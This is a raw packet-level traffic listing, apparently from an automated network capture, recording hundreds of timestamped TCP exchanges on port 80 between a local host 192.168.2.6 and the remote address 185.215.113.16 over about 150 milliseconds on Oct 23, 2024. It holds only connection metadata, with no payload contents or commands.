Oct 23, 2024 17:51:40.620645046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620657921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620677948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620698929 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620712042 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620723009 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620747089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620785952 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620794058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620820045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620861053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620868921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620893002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620913029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620924950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620949030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.620973110 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.620982885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621010065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621016979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621049881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621051073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621077061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621084929 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621118069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621131897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621263981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621280909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621296883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621304035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621313095 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621330023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621347904 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621354103 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621364117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621366978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621380091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621398926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621412039 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621414900 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621431112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621438026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621438026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621447086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621462107 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621469021 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621479988 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621485949 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621499062 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621506929 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621510983 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621522903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621532917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621535063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621546984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621555090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621560097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621573925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621579885 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621592045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621612072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621613026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621629000 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621642113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621644974 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621654034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621660948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621668100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621679068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621690035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621691942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621705055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621707916 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621718884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621727943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621731997 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621743917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621751070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621757030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621771097 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621784925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621784925 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621798038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621805906 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621809959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621823072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621824980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621834993 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621845961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621854067 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621857882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621870041 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621885061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621885061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621896982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621908903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621912003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621928930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621947050 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621953964 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621953964 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621958971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621974945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621983051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.621988058 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.621999025 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622005939 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622014046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622025013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622036934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622041941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622041941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622049093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622060061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622071981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622076988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622083902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622095108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622103930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622108936 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.622117996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622153044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.622160912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623418093 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623637915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623651028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623662949 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623673916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623682976 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623686075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623707056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623718023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623728991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623733044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623740911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623748064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623752117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623765945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623775959 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623778105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623797894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623810053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623819113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623826027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623838902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623845100 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623851061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623857975 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623862982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623874903 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623887062 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623898029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623902082 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623909950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623922110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623933077 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623933077 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623941898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623945951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623956919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623967886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623970985 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623980999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.623985052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.623994112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.624006033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.624010086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.624053001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.624850988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771368980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771385908 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771426916 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771445990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771456957 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771470070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771482944 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771491051 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771498919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771521091 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771536112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771541119 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771548033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771567106 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771570921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771581888 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771586895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771608114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771609068 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771620035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771625042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771631956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771642923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771651030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771656036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771675110 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771677971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771691084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771699905 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771703959 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771720886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771754980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771764040 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771785975 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771799088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771804094 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771811008 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771826029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771827936 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771836042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771853924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771876097 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.771967888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771981955 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.771994114 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772006035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772017002 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772018909 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772033930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772043943 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772073030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772123098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772166967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772289038 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772301912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772324085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772326946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772336006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772344112 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772352934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772362947 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772367001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772373915 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772386074 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772397041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772397995 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772407055 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772409916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772419930 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772438049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772444963 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772453070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772453070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772464991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772476912 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772488117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772492886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772492886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772499084 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772514105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772521973 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772526979 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772540092 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772542000 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772552967 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772563934 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772567034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772588968 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772613049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772636890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772690058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772736073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772746086 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772763014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772775888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772788048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772820950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772835970 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772891045 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.772938967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.772959948 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773000956 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773040056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773053885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773065090 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773077965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773088932 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773102999 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773114920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773119926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773156881 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773201942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773222923 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773236036 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773241997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773251057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773258924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773262978 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773272038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773296118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773432016 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773453951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773467064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773473978 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773490906 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773511887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773561954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773576021 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773587942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773601055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773612022 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773616076 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773624897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773628950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.773655891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.773670912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774000883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774024010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774036884 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774046898 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774049044 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774061918 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774064064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774075031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774080038 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774089098 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774107933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774132013 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774194956 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774209976 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774223089 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774235964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774244070 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774247885 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774252892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774261951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774272919 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774275064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774286985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774298906 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774302006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774313927 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:40.774323940 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:40.774328947 CEST	80	49868	185.215.113.16	192.168.2.6
